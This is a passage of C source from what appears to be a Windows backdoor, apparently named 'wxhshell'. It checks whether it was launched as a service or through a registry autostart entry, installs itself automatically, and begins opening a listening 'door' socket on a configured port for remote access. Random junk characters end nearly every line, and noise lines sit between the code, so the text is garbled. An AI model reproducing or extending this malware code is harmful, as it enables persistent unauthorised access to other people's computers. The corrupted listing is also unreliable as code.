ULONG InheritedFromUniqueProcessId; d+8Sypv^4*
} PROCESS_BASIC_INFORMATION; Z\n
nVM=
XOU
9r(
PROCNTQSIP NtQueryInformationProcess; WmeV[iI
Pwf":U)
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |Gz(q4
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yN9/'c~
Vf0m7BJc3
HANDLE hProcess; +ps(9O/B>
PROCESS_BASIC_INFORMATION pbi; 'bTtdFvJ
o^mW`g8[
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Yf1?3(0O
if(NULL == hInst ) return 0; d-y8c
EW]rD
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XsEDI?p2
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^tI
,eZ
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /;
w(1)B
J.$N<.
if (!NtQueryInformationProcess) return 0; f]Xh7m(Gh
tw,uV)xm
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0
*2^joUv
if(!hProcess) return 0; y2KR^/LN|Y
Ejmpg_kux
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +87|gC7B
*lc|iq\
CloseHandle(hProcess); }Y:V&4DW
7v't# =
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g%TOYZr!X
if(hProcess==NULL) return 0; evjj~xkte
f?W_/daP
HMODULE hMod; A`71L V%
char procName[255]; VYbH:4K@%
unsigned long cbNeeded; k'QI`@l&l
H\RejGR
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wDR/Vr"f
{.eo?dQ
CloseHandle(hProcess); {>g{+Eq
Y
\ Gx|
if(strstr(procName,"services")) return 1; // 以服务启动 MroN=%|t
7vTzY%v
return 0; // 注册表启动 FRa>cf4
} [4w*<({*
Uo?4o*}
// 主模块 Wn2'uZ5If
int StartWxhshell(LPSTR lpCmdLine) # ~Doz7~
{ rU+3~|m
SOCKET wsl; xpX<iT>5u
BOOL val=TRUE; _ _!LTpp
int port=0; DSQ2|{
struct sockaddr_in door; ncqAof(/
)pSA|Qt N
if(wscfg.ws_autoins) Install(); R:4@a ':H
JkhW LQ>o
port=atoi(lpCmdLine); }{y)a<`
OClG dFJ|
if(port<=0) port=wscfg.ws_port; eAmI~oku
da<